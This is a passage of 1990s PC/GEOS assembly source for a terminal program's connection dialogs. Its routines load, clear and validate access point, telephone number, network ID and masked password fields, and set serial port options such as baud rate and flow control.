ERROR_DS_GET_FIELD_UPDATE_CONNECTION_DIALOG > ; If there are no access points related to this service, clear the ; fields, else fill them in. mov ax, es:[AccessPointDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_GET_RECORD_COUNT_UPDATE_CONNECTION_DIALOG > tst ax jnz update_connection_fill_fields call ClearConnectionDialogFields jmp exit_update_connection_dialog update_connection_fill_fields: ; get UID of acc pt associated with IAPL connection and load it in push es ; store dgroup sub sp, IAPL_NETWORK_ACC_PT_REF_FIELD_SIZE ; set space on stack mov cx, IAPL_NETWORK_ACC_PT_REF_FIELD_SIZE ; set size of data ; to grab. mov ax, es:[IAPLDsToken] mov {byte} dl, IAPL_NETWORK_ACC_PT_REF_ID ; grab UID # segmov es, ss, bx ; store data to stack mov di, sp ; set offset to stack clr bx ; use field ID call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_UPDATE_CONNECTION_DIALOG > mov cx, ss:[di] ; store loword mov dx, ss:[di+2] ; load hiword add sp, IAPL_NETWORK_ACC_PT_REF_FIELD_SIZE ; restore stack pop es ; restore dgroup call OpenAccPtUID ; load in access point. Default to 1st if deleted. ; update: grab access point from connection info. If UID = 0, then ; access 1st access point in datastore ; mov ax, es:[IAPLDsToken] ; clr bx ; use field ID ; mov {byte} dl, IAPL_NETWORK_ACC_PT_REF_ID ; call DataStoreGetField ; get UID of acc point ; access point related information mov ax, es:[AccessPointDsToken] call DataStoreLockRecord EC < ERROR_C ERROR_LOCK_RECORD_UPDATE_CONNECTION_DIALOG > push ds, si ; store record header ; telephone number mov dx, ACCESS_POINT_LIST_TELEPHONE_NUMBER_FIELD_ID call DataStoreGetFieldPtr EC < ERROR_C ERROR_GET_FIELD_PTR_UPDATE_CONNECTION_DIALOG > if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov dx, ds mov bp, di mov bx, handle ConnectionConfirmTelephoneNumber mov si, offset ConnectionConfirmTelephoneNumber mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage pop ds, si ; restore record header ; access point mov ax, es:[AccessPointDsToken] mov dx, ACCESS_POINT_LIST_ACCESS_POINT_FIELD_ID call DataStoreGetFieldPtr EC < ERROR_C ERROR_GET_FIELD_PTR_UPDATE_CONNECTION_DIALOG > if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov dx, ds ; restore segment mov bp, di ; restore offset mov bx, handle ConnectionConfirmAccessPoint mov si, offset ConnectionConfirmAccessPoint mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage mov ax, es:[AccessPointDsToken] call DataStoreUnlockRecord call GetTerminalInfoAccPt ; load terminal information, ; as might directly go to ; connect from connection ; dialog. ; finished with access point, now discard record mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord EC < ERROR_C ERROR_DISCARD_RECORD_UPDATE_CONNECTION_DIALOG > ; connection method ; clr ch ; mov cl, es:[CTbyte] ; mov si, cx ; mov cl, CT_COMBO_BOX_OFFSET ; shr si, cl ; and si, CT_COMBO_BOX_MASK ; shl si ; word offset ; mov bp, cs:[comboBoxStringTable][si] ; mov bx, handle ConnectionConfirmConnectionMethod ; mov si, offset ConnectionConfirmConnectionMethod ; clr cx ; null terminated ; mov di, mask MF_CALL ; mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR ; mov dx, cs ; restore segment ; call ObjMessage call UpdateSetTerminal ; Now update the modem settings mov bx, handle ProtocolBox mov si, offset ProtocolBox mov di, mask MF_CALL mov ax, MSG_GEN_APPLY call ObjMessage ; call each element to set ; their setting functions. exit_update_connection_dialog: .leave ret UpdateConnectionDialog endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ClearConnectionDialogFields %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: clears dialog fields of the connection confirm/setting dialog. CALLED BY: MSG_TERM_UPDATE_CONNECTION_DIALOG PASS: none RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: fills each field with a null character. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/ 9/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ClearConnectionDialogFields proc near uses ax,bx,cx,dx,si,di,bp .enter mov bx, segment dgroup mov es, bx call ClearStringBuffer ; set up StringBuffer as target buffer mov ax, segment dgroup mov es, ax mov di, offset StringBuffer mov {byte} es:[di], NULL_CHAR ; set first as null ; network Name mov bx, handle ConnectionConfirmNetworkName mov si, offset ConnectionConfirmNetworkName clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage ; networkID mov bx, handle ConnectionConfirmNetworkID mov si, offset ConnectionConfirmNetworkID clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage ; telephone number mov bx, handle ConnectionConfirmTelephoneNumber mov si, offset ConnectionConfirmTelephoneNumber clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage ; access point mov bx, handle ConnectionConfirmAccessPoint mov si, offset ConnectionConfirmAccessPoint clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage ; connection method ; mov bx, handle ConnectionConfirmConnectionMethod ; mov si, offset ConnectionConfirmConnectionMethod ; clr cx ; null terminated ; mov di, mask MF_CALL ; mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR ; mov dx, es ; restore segment ; mov bp, offset StringBuffer ; restore offset ; call ObjMessage .leave ret ClearConnectionDialogFields endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateSetTerminal %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets the fields in the set terminal dialog CALLED BY: PASS: RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: sets the selections in the fields of set terminal to match those of the currently selected access point. (saved version of the point) Note: presumes data bytes already valid. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 8/29/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateSetTerminal proc near uses ax,bx,cx,dx,si,di,es,bp .enter ; set the selections for each of the dynamic lists based off the ; values already in access point buffer. ; set up dgroup segment mov bx, segment dgroup mov es, bx ; Baud clr ah mov {byte} al, es:[BSDMbyte] mov cl, BSDM_BAUD_RATE_OFFSET shr ax, cl mov dx, BSDM_BAUD_RATE_MASK and ax, dx ; extract value by mask mov di, offset baudIdentifierTable shl ax ; word sized offsets add di, ax ; get offset to baud identifier mov cx, cs:[di] mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov di, mask MF_CALL mov bx, handle BaudList mov si, offset BaudList clr dx call ObjMessage ; Stop Bit clr ah mov {byte} al, es:[BSDMbyte] mov cl, BSDM_STOP_BIT_OFFSET shr ax, cl mov dx, BSDM_STOP_BIT_MASK and ax, dx mov di, offset stopBitsIdentifierTable shl ax add di, ax mov cx, cs:[di] mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov di, mask MF_CALL mov bx, handle StopList mov si, offset StopList clr dx call ObjMessage ; Data Bit clr ah mov {byte} al, es:[BSDMbyte] mov cl, BSDM_DATA_BIT_OFFSET shr ax, cl mov dx, BSDM_DATA_BIT_MASK and ax, dx mov di, offset dataBitsIdentifierTable shl ax add di, ax mov cx, cs:[di] mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov di, mask MF_CALL mov bx, handle DataList mov si, offset DataList clr dx call ObjMessage ; -------------------------------------------------- ; PFK related information ; -------------------------------------------------- ; Parity Bits clr ah mov {byte} al, es:[PFKbyte] mov cl, PFK_PARITY_BIT_OFFSET shr ax, cl mov dx, PFK_PARITY_BIT_MASK and ax, dx mov di, offset parityBitsIdentifierTable shl ax add di, ax mov cx, cs:[di] mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov di, mask MF_CALL mov bx, handle ParityList mov si, offset ParityList clr dx call ObjMessage ; Flow Control clr ah mov {byte} al, es:[PFKbyte] mov cl, PFK_FLOW_CONTROL_OFFSET shr ax, cl mov dx, PFK_FLOW_CONTROL_MASK and ax, dx push ax ; store result tst ax jnz not_zero_none_boolean mov dx, 1 ; set boolean true jmp set_none_boolean not_zero_none_boolean: clr dx ; set boolean false set_none_boolean: mov cx, cs:[flowIdentifierTable][PFK_FLOW_CONTROL_NOTHING * 2] mov ax, MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_STATE mov di, mask MF_CALL mov bx, handle FlowList mov si, offset FlowList ; set none value boolean call ObjMessage pop ax ; restore & store value push ax ; get & set high bit (soft) mov dx, ax ; store value and dx, 1 ; get first bit (hard) mov cx, cs:[flowIdentifierTable][PFK_FLOW_CONTROL_HARDWARE * 2] mov ax, MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_STATE mov di, mask MF_CALL mov bx, handle FlowList mov si, offset FlowList call ObjMessage pop ax ; restore result ; get & set low bit (hard) mov dx, ax ; store value shr dx ; get value of high bit (soft) mov cx, cs:[flowIdentifierTable][PFK_FLOW_CONTROL_SOFTWARE * 2] mov ax, MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_STATE mov di, mask MF_CALL mov bx, handle FlowList mov si, offset FlowList call ObjMessage ; extract kanji code clr bh mov {byte} bl, es:[PFKbyte] ; store data byte into bx mov cl, PFK_KANJI_CODE_OFFSET shr bx, cl and bx, PFK_KANJI_CODE_MASK shl bx ; word offset mov cx, cs:[kanjiFontIdentifierTable][bx] clr dx ; not indeterminate mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov di, mask MF_CALL mov bx, handle KanjiFontList mov si, offset KanjiFontList call ObjMessage ; -------------------------------------------------- ; CT data: combo box and terminal settings ; -------------------------------------------------- ; extract combo box ; clr bh ; mov {byte} bl, es:[CTbyte] ; store data byte into bx ; mov cl, CT_COMBO_BOX_OFFSET ; shr bx, cl ; and bx, CT_COMBO_BOX_MASK ; mov cx, bx ; set up target parameter ; clr dx ; not indeterminate ; mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION ; mov di, mask MF_CALL ; mov bx, handle ComboBoxList ; mov si, offset ComboBoxList ; call ObjMessage ; extract terminal clr bh mov {byte} bl, es:[CTbyte] ; store data byte into bx mov cl, CT_TERMINAL_OFFSET shr bx, cl and bx, CT_TERMINAL_MASK shl bx ; word offset mov cx, cs:[terminalTypeIdentifierTable][bx] clr dx ; not indeterminate mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION mov di, mask MF_CALL mov bx, handle TerminalList mov si, offset TerminalList call ObjMessage .leave ret UpdateSetTerminal endp ; ---------------------------------------------------------------------- ; ; Routines for maintaining consistency of access point data between dialogs ; 3.2, 3.3, 3.5, 3.6, 3.7, 3.8, and 3.9 ; ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ResetSetNumItems %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: resets and sets new numItems count for genDynamicList CALLED BY: PASS: bx:si = optr to dynamic list cx = # of new items RETURN: DESTROYED: ax, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: Because access points for various network services are stored all together, it is very possible for a listing to start in middle of the list and show everything in the rest of the list, because the numItems is greater than the # of access points for that service. This routine is passed the new amount of items to display, along with an optr to the list. It calls MSG_GEN_DYNAMIC_LIST_GET_NUM_ITEMS, removing all those items with MSG_GEN_DYNAMIC_LIST_REMOVE_ITEMS, and then calls MSG_GEN_DYNAMIC_LIST_ADD_ITEMS to place in the new amount. Note: if the # of items to remove and set is equal, this routine wouldn't even bother. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ResetSetNumItems proc near uses cx, dx, bp .enter push cx ; store # new items mov dx, cx ; store new item count into dx mov di, mask MF_CALL ; want linear sequence, so block mov ax, MSG_GEN_DYNAMIC_LIST_GET_NUM_ITEMS call ObjMessage pop dx ; restore # of items cmp cx, dx jz exit_reset_num_items ; if equal, don't bother ; attaching any new ones. push dx ; store # of new items mov dx, cx ; remove all items in previous list mov cx, GDLP_FIRST ; remove them from the front mov ax, MSG_GEN_DYNAMIC_LIST_REMOVE_ITEMS ; remove them call ObjMessage pop dx ; restore # of new items mov cx, GDLP_FIRST mov ax, MSG_GEN_DYNAMIC_LIST_ADD_ITEMS ; add new items call ObjMessage ; add'em exit_reset_num_items: .leave ret ResetSetNumItems endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetServiceAccessPointCount %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: returns the number of access points for this service CALLED BY: PASS: none RETURN: cx = count DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Note: we are presuming a word sized limit on the number of access points (since I think that's as much as a gendynamic list can handle). REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/28/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetServiceAccessPointCount proc near uses ax,bx,dx,di,bp .enter mov ax, segment dgroup mov es, ax mov ax, es:[AccessPointDsToken] call DataStoreGetRecordCount mov cx, ax .leave ret GetServiceAccessPointCount endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateNetworkElementFields %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: updates fields in network element box (3.5) to correspond to information from current access point in buffer CALLED BY: PASS: none RETURN: DESTROYED: everything SIDE EFFECTS: PSEUDO CODE/STRATEGY: Loads up the fields from the selected access point and displays them in the fields of 3.5. This updates the following fields: access point, telephone number REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateNetworkElementFields proc near ; set up pointer to dgroup mov ax, segment dgroup mov es, ax ; First check to see if there are any entries, if not, just skip mov ax, es:[AccessPointDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_GET_RECORD_COUNT_UPDATE_NETWORK_ELEMENT_FIELDS > cmp ax, 0 jz exit_update_network_element_fields ; lock record (to get the handle) mov ax, es:[AccessPointDsToken] call DataStoreLockRecord EC < ERROR_C ERROR_LOCK_FIELD_UPDATE_NETWORK_ELEMENT_FIELDS > push ax, ds, si ; store token and record handle ; Access Point ; grab the text pointer mov dl, ACCESS_POINT_LIST_ACCESS_POINT_FIELD_ID call DataStoreGetFieldPtr EC < ERROR_C ERROR_GET_FIELD_UPDATE_NETWORK_ELEMENT_FIELDS > ; set pointers mov dx, ds mov bp, di ; change mov bx, handle NetworkElementAccessPoint mov si, offset NetworkElementAccessPoint if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage ; set the field's modified status to not modified, so that if user ; changes the recorded value, then create a new acc point entry. mov ax, MSG_GEN_TEXT_SET_MODIFIED_STATE clr cx call ObjMessage ; Telephone Number ; grab the text pointer pop ax, ds, si ; restore token and record handle mov dl, ACCESS_POINT_LIST_TELEPHONE_NUMBER_FIELD_ID call DataStoreGetFieldPtr EC < ERROR_C ERROR_GET_FIELD_UPDATE_NETWORK_ELEMENT_FIELDS > ; set pointers mov dx, ds mov bp, di ; change mov bx, handle NetworkElementTelephoneNumber mov si, offset NetworkElementTelephoneNumber if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage ; set the field's modified status to not modified, so that if user ; changes the recorded value, then create a new acc point entry. mov ax, MSG_GEN_TEXT_SET_MODIFIED_STATE clr cx call ObjMessage mov ax, es:[AccessPointDsToken] call DataStoreUnlockRecord ; call DataStoreDiscardRecord EC < ERROR_C ERROR_DISCARD_RECORD_UPDATE_NETWORK_ELEMENT_FIELDS > exit_update_network_element_fields: ret UpdateNetworkElementFields endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateNetworkIDPasswd %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: updates network ID and passwd fields CALLED BY: PASS: none RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/14/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateNetworkIDPasswd proc near uses ax,bx,cx,dx,si,di,bp .enter ; if a new record, keep fields blank. mov {byte} al, es:[NewIAPLRecordFlag] cmp {byte} al, VALID jz exit_update_network_ID_passwd ; Need to lock current record when grabbing field ptrs mov ax, es:[IAPLDsToken] call DataStoreLockRecord EC < ERROR_C ERROR_LOCK_RECORD_INIT_NETWORK_ELT > push ds, si ; store pointer to record header ; get ptr to text mov dl, IAPL_NETWORK_ID_FIELD_ID call DataStoreGetFieldPtr EC < ERROR_C ERROR_LOAD_IAPL_FIELD_NETWORK_ELT> ; set up target pointer to point to field text mov dx, ds mov bp, di ; fill in ID and password fields ; Network ID mov bx, handle NetworkElementNetworkID mov si, offset NetworkElementNetworkID if DBCS_PCGEOS shr cx endif ;DBCS_PCGEOS mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage ; Network Password ; grab the ptr to text pop ds, si ; restore token and pointer mov ax, es:[IAPLDsToken] mov dl, IAPL_NETWORK_PASSWORD_FIELD_ID call DataStoreGetFieldPtr EC < ERROR_C ERROR_LOAD_IAPL_FIELD_NETWORK_ELT > if DBCS_PCGEOS shr cx ; set to terms of characters endif ; DBCS_PCGEOS call ProcessBufferIntoPassword ; display stars ; instead of actual ; password ; set password mov bx, handle NetworkElementNetworkPassword mov si, offset NetworkElementNetworkPassword mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage ; unlock record mov ax, es:[IAPLDsToken] call DataStoreUnlockRecord exit_update_network_ID_passwd: .leave ret UpdateNetworkIDPasswd endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ClearNetworkElementFields %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: used to clear text objects in network element dialog CALLED BY: PASS: C set = clear access point fields only C clear = clear ID and passwd fields only RETURN: DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: clears StringBuffer, and then has all fields point to that REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/28/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ClearNetworkElementFields proc near uses ax, bx, cx, dx, di, si, bp .enter ; set dx here to determine if access point fields should be ; cleared or not. mov dx, 0 jnc continue_clear_network_element_fields mov dx, 1 continue_clear_network_element_fields: call ClearStringBuffer ; set up StringBuffer as target buffer mov ax, segment dgroup mov es, ax mov di, offset StringBuffer mov {byte} es:[di], NULL_CHAR ; set first as null if DBCS_PCGEOS mov {byte} es:[di+1], NULL_CHAR_HIGH endif ; DBCS_PCGEOS ; check localFlag. If false, then don't clear accpt related fields tst dx jz clear_network_id_passwd ; Access Point Name mov bx, handle NetworkElementAccessPoint mov si, offset NetworkElementAccessPoint clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage ; Telephone Number mov bx, handle NetworkElementTelephoneNumber mov si, offset NetworkElementTelephoneNumber clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage jmp exit_clear_network_element_fields clear_network_id_passwd: ; Network ID mov bx, handle NetworkElementNetworkID mov si, offset NetworkElementNetworkID clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage ; Network Password mov bx, handle NetworkElementNetworkPassword mov si, offset NetworkElementNetworkPassword clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, es ; restore segment mov bp, offset StringBuffer ; restore offset call ObjMessage exit_clear_network_element_fields: .leave ret ClearNetworkElementFields endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckNetworkEltFields %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Makes sure network element field entries are valid. CALLED BY: MSG_TERM_ACTIVATE_CONFIRM_SAVE PASS: none RETURN: C set = error occured (a field is not valid) C none = no error (all fields valid). DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: For each field, calls MSG_VIS_TEXT_GET_ALL_PTR. If target is length zero, return the appropriate error and then exit with error. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/19/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ errorStringHandleTable word handle EnterAccessPointStr, handle EnterAccessNumberStr, handle EnterNetworkIDStr, handle EnterNetworkPasswordStr errorStringOffsetTable word offset EnterAccessPointStr, offset EnterAccessNumberStr, offset EnterNetworkIDStr, offset EnterNetworkPasswordStr netEltFieldHandleTable word handle NetworkElementAccessPoint, handle NetworkElementTelephoneNumber, handle NetworkElementNetworkID, handle NetworkElementNetworkPassword netEltFieldOffsetTable word offset NetworkElementAccessPoint, offset NetworkElementTelephoneNumber, offset NetworkElementNetworkID, offset NetworkElementNetworkPassword CheckNetworkEltFields proc near uses ax,bx,cx,dx,si,di,bp .enter clr cx ; set up count mov dx, es ; set up StringBuffer as target mov bp, offset StringBuffer check_field_check_net_elt_fields_loop: mov si, cx shl si ; set offset push cx ; save counter offset mov di, mask MF_CALL ; di and ax trashed, even though ; spec says they arent. ??? mov ax, MSG_VIS_TEXT_GET_ALL_PTR mov bx, cs:[netEltFieldHandleTable][si] mov si, cs:[netEltFieldOffsetTable][si] call ObjMessage tst cx ; test result pop cx ; restore counter offset jz check_net_elt_fields_error_dialog ; if empty field, ; then activate ; appropriate error ; and exit. inc cx ; increment cx cmp cx, 4 ; okay, this is bad (should be replaced by a ; constant), but since even tables hard coded for ; this value... ; je no_error_exit_check_network_elt_fields ; if hit limit, exit jb check_field_check_net_elt_fields_loop ; else continue loop no_error_exit_check_network_elt_fields: clc ; no errors, clear carry .leave ret ; jmp exit_check_network_elt_fields ; exit check_net_elt_fields_error_dialog: ; error occured, bring up the error dialog. ; load string mov di, cx ; prepare offset shl di ; word sized offset mov bx, cs:[errorStringHandleTable][di] mov bp, cs:[errorStringOffsetTable][di] call MemLock ; lock string push bx ; save handle push es ; store dgroup mov di, ax ; set segment of error string mov es, ax ; set segment (to grab actual offset) mov bp, es:[bp] ; grab actual offset ; bring up confirmation dialog mov ax, CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE \ or mask CDBF_SYSTEM_MODAL ; to bring to top call TermUserStandardDialog pop es ; restore dgroup pop bx call MemUnlock ; unlock string stc ; set carry (error occured). exit_check_network_elt_fields: .leave ret CheckNetworkEltFields endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateConfirmSaveDataFields %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: update confirm save data dialog info fields from current info in global memory (not access point). CALLED BY: PASS: none RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: updates from state information in memory, as this asks to see if user wishes to save or not. Note that this information is updated from entry into dialog 3.6, to prevent redudant updates. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 8/29/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateConfirmSaveDataFields proc near uses ax,bx,cx,dx,si,di,bp .enter ; set up dgroup mov bx, segment dgroup mov ds, bx ; Network Service sub sp, 2 ; set up stack to receive ; data mov dx, IAPL_NETWORK_SERVICE_FIELD_ID segmov es, ss, bx ; set up target segment mov di, sp ; set up target offset mov cx, 1 ; max 5 services mov ax, ds:[IAPLDsToken] ; set up target clr bx ; use field ID only call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_UPDATE_CONFIRM_SAVE_DATA_FIELDS > mov ax, ss:[di] ; grab argument clr ah ; byte argument, hiword is ; trash add sp, 2 ; restore stack shl ax ; word offset mov si, ax ; use si to reference offset to data mov bp, cs:[networkServiceNameTable][si] mov bx, handle ConfirmSaveDataNetworkName mov si, offset ConfirmSaveDataNetworkName clr cx ; null terminated mov dx, cs ; set target segment mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage segmov es, ds, bx ; set es to point to dgroup here if ERROR_CHECK test_code: ; Test code mov ax, es:[AccessPointDsToken] call DataStoreGetRecordCount mov ax, es:[AccessPointDsToken] clr bx mov dx, ACCESS_POINT_LIST_TELEPHONE_NUMBER_FIELD_ID mov di, offset StringBuffer mov cx, 64 call DataStoreGetField ; end test code endif ;ERROR_CHECK ; Access Point mov ax, es:[AccessPointDsToken] mov dx, ACCESS_POINT_LIST_ACCESS_POINT_FIELD_ID clr bx ; use field ID to get field call DataStoreGetFieldSize mov cx, ax call ClearStringBuffer mov ax, es:[AccessPointDsToken] mov di, offset StringBuffer call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_UPDATE_CONFIRM_SAVE_DATA_FIELDS > if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov bp, di mov bx, handle ConfirmSaveDataAccessPoint mov si, offset ConfirmSaveDataAccessPoint mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, ds ; store segment call ObjMessage ; Telephone Number mov dx, ACCESS_POINT_LIST_TELEPHONE_NUMBER_FIELD_ID clr bx ; use field ID to get field mov ax, es:[AccessPointDsToken] call DataStoreGetFieldSize EC < ERROR_C ERROR_DS_GET_FIELD_SIZE_UPDATE_CONFIRM_SAVE_DATA_FIELDS > mov cx, ax call ClearStringBuffer mov ax, es:[AccessPointDsToken] mov di, offset StringBuffer call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_UPDATE_CONFIRM_SAVE_DATA_FIELDS > if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov bp, di mov bx, handle ConfirmSaveDataTelephoneNumber mov si, offset ConfirmSaveDataTelephoneNumber mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, ds ; store segment call ObjMessage ; IAPL name ; ; if new IAPL record, use default title, else use stored name cmp es:[NewIAPLRecordFlag], VALID jz use_default_IAPL_name call ClearStringBuffer mov ax, es:[IAPLDsToken] mov di, offset StringBuffer ; StringBuffer = target clr bx ; use field ID mov dl, IAPL_NAME_FIELD_ID call DataStoreGetFieldSize EC < ERROR_C 